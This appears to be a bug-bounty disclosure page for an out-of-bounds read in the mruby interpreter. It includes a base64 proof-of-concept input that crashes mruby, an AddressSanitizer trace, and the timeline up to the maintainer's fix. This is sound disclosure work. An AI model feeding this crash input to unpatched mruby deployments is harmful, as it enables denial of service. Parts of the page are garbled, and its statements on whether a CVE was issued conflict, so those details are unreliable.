

Out-of-bounds Read in mruby/mruby

0

✓ Valid

Reported on Feb 8th 2022

Description

commit 4e8ab145da52c3cfb0bd4b823df8041dcc52f454

Author: Yukihiro "Matz" Matsumoto matz@ruby.or.jp

Date: Tue Feb 8 13:03:51 2022 +0900

Proof of Concept

```
$ echo -ne "e30KWy0qMCxt0jBdBHM9MDYudG10ZXN7My7+////c3s1XSN7W111YWsKYj17fQr
f///jn11EHRpbC1icmWeawpiPXt99FsQKkBidWYwXX9zPTB9XX1hLiF+IBD///wAAPoA0qKion1
AACA/wENXH9dXGM/ICphID0gKCKgYW1iZCVcX0J0//4AACA8ACpbAAB7KQ==" | base64 -d >
$ cat poc
{}
[**0,m:0] s=06.tites{3.    s{%]#[[]eak
b={}
[**0,m:0]{}u til-bre?k
\]\c? *a = () ambd%\_BN?? <*[{}#
$ ./bin/mruby ./poc
AddressSanitizer:DEADLYSIGNAL
=====
==1898947==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000011
==1898947==The signal is caused by a READ memory access.
==1898947==Hint: address points to the zero page.
#0 0x59dca6 in mrb_check_frozen /root/fuzz/mruby/include/mruby.h:1418:7
#1 0x59dca6 in hash_modify /root/fuzz/mruby/src/hash.c:1154:3
#2 0x59dca6 in mrb_hash_set /root/fuzz/mruby/src/hash.c:1242:3
#3 0x4e5273 in mrb_vm_exec /root/fuzz/mruby/src/vm.c:2771:9
#4 0x4d77de in mrb_vm_run /root/fuzz/mruby/src/vm.c:1128:12
#5 0x5e83a2 in mrb_load_exec /root/fuzz/mruby/mrbgems/mr
#6 0x5e9293 in mrb_load_detect_file_cxt /root/fuzz/mrub
#7 0x4cb88b in main /root/fuzz/mruby/mrbgems/mruby-bin-mruby/tools/mrub
```

Chat with us

```
#8 0x7fb293420564 in __libc_start_main csu/../csu/libc-start.c:332:16
#9 0x41d7ad in _start (/root/fuzz/mruby/bin/mruby+0x41d7ad)
```

AddressSanitizer can not provide additional info.

SUMMARY: AddressSanitizer: SEGV /root/fuzz/mruby/include/mruby.h:1418:7 in
==1898947==ABORTING



Impact

Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash.

Acknowledgement

Thanks to [alkyne Choi](#)

CVE

CVE-2022-0623

(Published)

Vulnerability Type

CWE-125: Out-of-bounds Read

Severity

Medium (6.5)

Visibility

Public

Status

Fixed

Found by



Pocas

@p0cas

amateur ✓

Fixed by



Yukihiro "Matz" Matsumoto

@matz

Chat with us



maintainer

This report was seen 393 times.

We are processing your report and will contact the **mruby** team within 24 hours. 10 months ago

Pocas modified the report 10 months ago

Pocas modified the report 10 months ago

Pocas modified the report 10 months ago

Pocas modified the report 10 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 10 months ago

Pocas 10 months ago

Researcher

hey

We have sent a follow up to the **mruby** team. We will try again in 7 days. 9 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 9 months ago

Pocas has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **ff3a5e** 9 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Yukihiro 9 months ago

Maintainer

Sorry for being late to check.

Chat with us



Sign in to join this conversation

2022 © 418sec

huntr

[home](#)

[hacktivity](#)

[leaderboard](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

part of 418sec

[company](#)

[about](#)

[team](#)

Chat with us